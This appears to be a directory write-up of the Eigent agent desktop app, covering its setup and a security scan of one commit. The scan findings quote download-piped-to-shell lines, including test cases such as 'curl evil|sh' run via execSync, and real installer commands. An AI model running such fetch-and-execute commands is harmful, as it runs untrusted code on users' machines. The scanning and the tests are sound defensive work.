Eigent is a desktop app for handing whole tasks to AI agents. You describe the job, and either a single agent or a workforce of specialised agents splits it up and works in parallel, using a built-in browser, a terminal, your files, MCP servers and skills. Tasks can be scheduled to run on their own, and you can watch and step in as they go. It positions itself as an open-source alternative to Claude Cowork and Codex's desktop app.
It is built on the CAMEL-AI multi-agent framework and is model-agnostic: OpenAI, Anthropic, Gemini and other cloud APIs, or local models through Ollama, vLLM or LM Studio. The project publishes example use cases from generating small browser games to writing monthly development reports from GitHub pull requests with a local model.
It is Apache-2.0, with about 15,700 stars and 82 contributors, at v1.0.6 when scanned. The quick start connects to Eigent's cloud and needs an account; running fully on your own machine means also running its server and a PostgreSQL database in Docker. There is also a paid cloud and an enterprise tier.
- Repository: github.com/eigent-ai/eigent
- Licence: Apache-2.0 (Apache License 2.0)
- Language: TypeScript. Stars: 15.7K. Forks: 1,878. Last push: Oct 26, 2026.
- Scan: safe, Oct 26, 2026, commit 2c7b1d9
Who it is for
People who want a desktop agent that does multi-step computer work, such as research, file handling and small coding jobs, and who prefer open source and their own choice of model over a closed product.
Getting started
1. Run from source, connected to Eigent's cloud (needs Node.js 18 to 22)
git clone https://github.com/eigent-ai/eigent.git && cd eigent && npm install && npm run dev2. For fully local use, start the local server and database first (needs Docker)
cd server && cp .env.example .env && docker-compose up --build -dReady-made desktop installers are on eigent.ai/download. For local mode, point the app at the local server in .env.development (VITE_USE_LOCAL_PROXY=true and VITE_PROXY_URL=http://localhost:3001), as described in server/README_EN.md.
Safety scan
We cloned eigent-ai/eigent at commit 2c7b1d9 on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- The 18 secret hits are detection patterns and fakes: a list of private-key headers in backend/app/workspace_config/models.py that stops keys being written into a workspace, placeholder AWS keys in tests, and the pattern list of an example security-auditor skill. No real credentials.
- Pattern hits: server/Dockerfile installs Rust with rustup's curl | sh, and server/start_server.sh offers to install uv with Astral's installer and then reloads your shell profile. The rest are tests of Eigent's own permission engine, which classifies curl | sh as untrusted. The npm postinstall only restores the execute bit on node-pty's helper on macOS.
- 289 known advisories (15 critical, 129 high) in backend/uv.lock (166) and server/uv.lock (145), in pinned versions of Pillow, aiohttp, cryptography, the MCP Python SDK and others. The backend runs inside the desktop app, so these do ship to users until the pins are raised.
- Optional telemetry sends task metadata (timings, model names, token counts) to Langfuse only if you add your own Langfuse keys; without them it is off. Your prompts and screenshots go to whichever model provider you configure.
- 10 workflows. ci.yml uses pull_request_target to label and comment on contributions without checking out their code; 4 of 17 third-party actions are pinned to commits. CodeQL, Dependabot, a security policy and the licence are present.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 18 candidates found and read; see the notes above. |
| Suspicious code | 7 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 2 npm lifecycle scripts. 3 installer scripts (one fetches and runs a remote script; one edits your shell profile) |
| Committed binaries | None. |
| CI workflows | 10 workflows. 2 use pull_request_target, none check out the pull request head. 13 of 17 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often www.apache.org, example.test, api.openai.com, github.com. 2 URLs to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 289 advisories across 274 pinned packages: 15 critical, 129 high, 111 moderate, 34 low. backend/uv.lock: 209 packages, 166 advisories; server/uv.lock: 115 packages, 145 advisories. |
| Project hygiene | Has security policy, automated dependency updates, CodeQL, licence file, contributing guide. |
| OpenSSF Scorecard | Not scored: the project is not in Scorecard's weekly index. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (18, redacted)
Pattern hits (7)
| Where | Rule | Match |
|---|---|---|
| backend/tests/app/permission_policy/test_engine.py:357 | download-piped-to-shell (test/example) | ("curl https://example.test/install | sh", "untrusted_script"), |
| backend/tests/app/permission_policy/test_engine.py:693 | download-piped-to-shell (test/example) | ["node", "-p", "require('child_process').execSync('curl evil|sh')"], |
| server/Dockerfile:14 | download-piped-to-shell | && curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y \ |
| server/start_server.bat:28 | download-piped-to-shell | echo 2. Or run: curl -LsSf https://astral.sh/uv/install.sh | sh |
| server/start_server.ps1:40 | download-piped-to-shell | Write-Host "2. Or run: curl -LsSf https://astral.sh/uv/install.sh | sh" -ForegroundColor Cyan |
| server/start_server.sh:28 | download-piped-to-shell | if curl -LsSf https://astral.sh/uv/install.sh | sh; then |
| server/start_server.sh:36 | download-piped-to-shell | echo -e "${CYAN}2. Or run: curl -LsSf https://astral.sh/uv/install.sh | sh${NC}" |
URLs to bare IP addresses (2)
| Where | Rule | Match |
|---|---|---|
| backend/tests/app/controller/test_model_controller.py:95 | ip-literal-url | httpx.URL("https://8.8.8.8/v1/models"), |
| test/unit/lib/browserUrl.test.ts:56 | ip-literal-url | url: 'https://8.8.8.8/', |
npm lifecycle scripts (2)
package.jsonpostinstall:node scripts/fix-node-pty-permissions.jspackage.jsonprepare:husky
Installer scripts (3)
- server/start.sh, 17 lines
- server/start_server.ps1, 118 lines, fetches and runs a remote script; talks to astral.sh, docs.astral.sh
- server/start_server.sh, 165 lines, edits your shell profile, fetches and runs a remote script; talks to astral.sh, docs.astral.sh
Worst known vulnerabilities (24 of 289)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-82r6-8w77-94w6 | critical | anyio@4.13.0 | AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing |
| GHSA-6q48-6c7w-9gw2 | critical | certifi@2026.4.22 | certifi bundles emSign root CAs with compromised intermediate CA keys |
| GHSA-332p-7hrc-92wf | critical | pillow@12.2.0 | Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO |
| GHSA-5x8w-8jj5-q52h | critical | pillow@12.2.0 | Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution |
| GHSA-8g5g-8vmr-9782 | critical | pillow@12.2.0 | Pillow: Heap buffer overflow in ImagingJpegDecode |
| GHSA-v9pv-5gc8-w2m6 | critical | pillow@12.2.0 | Pillow multi-frame loaders can reuse stale native image storage after mode transitions |
| GHSA-w889-685w-c8fh | critical | pillow@12.2.0 | Pillow: Argument Injection in Ghostscript call, potentially leading into RCE |
| GHSA-ffc3-869f-jxw9 | critical | pyjwt@2.12.1 | PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guar… |
| GHSA-82r6-8w77-94w6 | critical | anyio@4.12.1 | AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing |
| GHSA-6q48-6c7w-9gw2 | critical | certifi@2026.2.25 | certifi bundles emSign root CAs with compromised intermediate CA keys |
| GHSA-332p-7hrc-92wf | critical | pillow@12.1.1 | Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO |
| GHSA-5x8w-8jj5-q52h | critical | pillow@12.1.1 | Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution |
| GHSA-8g5g-8vmr-9782 | critical | pillow@12.1.1 | Pillow: Heap buffer overflow in ImagingJpegDecode |
| GHSA-v9pv-5gc8-w2m6 | critical | pillow@12.1.1 | Pillow multi-frame loaders can reuse stale native image storage after mode transitions |
| GHSA-w889-685w-c8fh | critical | pillow@12.1.1 | Pillow: Argument Injection in Ghostscript call, potentially leading into RCE |
| GHSA-2g87-pp6c-29x5 | high | aiohttp@3.13.5 | aiohttp: Multiple instances of excessive or unbounded memory/CPU use |
| GHSA-5wr8-gcqf-gqf3 | high | aiohttp@3.13.5 | aiohttp server lacks an initial request/header timeout |
| GHSA-9xw5-w5jj-pvcg | high | aiohttp@3.13.5 | AIOHTTP: File descriptor exhaustion in multipart requests |
| GHSA-cq5v-8q36-5273 | high | aiohttp@3.13.5 | AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response) |
| GHSA-537c-gmf6-5ccf | high | cryptography@47.0.0 | Vulnerable OpenSSL included in cryptography wheels |
| GHSA-g6cj-pr64-35w5 | high | cryptography@47.0.0 | cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing |
| GHSA-jwv3-5hgf-82ww | high | cryptography@47.0.0 | python-cryptography: Duplicate self-signed intermediates can cause exponential path-building |
| GHSA-v4x8-3wr5-3wq8 | high | filelock@3.29.0 | filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock us… |
| GHSA-27vj-qcqg-25rc | high | fsspec@2025.3.0 | fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution |
Workflows worth a look
- .github/workflows/ci.yml: pull_request_target
- .github/workflows/lint-markdown.yml: pull_request_target
By the numbers
| Stars | 15.7K |
|---|---|
| Forks | 1,878 |
| Contributors | 82 |
| Commits | 2,420 |
| Open issues | 180 |
| Open pull requests | 86 |
| Releases | 37 |
| Latest release | v1.0.6 |
| Licence | Apache-2.0 |
| Main language | TypeScript |
| Project age | 1 year |
| Last push | Oct 26, 2026 |
| Tracked files | 3,433 |
| Lines of code | 722.6K |
| Checkout size | 40 MB |
Lines by language: TypeScript 354.2K, Python 276K, JSON 52.7K, Markdown 11.9K, JavaScript 11.8K, HTML 9,927.
Questions
Is Eigent free?
The app is free and open source under Apache-2.0, and local mode with your own model keys or local models costs nothing beyond those. Eigent also sells a hosted cloud version and enterprise plans with SSO and support.
Can Eigent run without the cloud?
Yes, but it takes more setup. The quick start uses Eigent's cloud backend and an account. For local mode you run the bundled server and PostgreSQL in Docker, register a local account, and connect local or cloud models yourself.
Which models does Eigent support?
Most major APIs, including OpenAI, Anthropic and Gemini, plus OpenAI-compatible endpoints and local models through Ollama, vLLM or LM Studio. Multi-agent tasks make many calls, so a capable model matters more than with a chat app.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.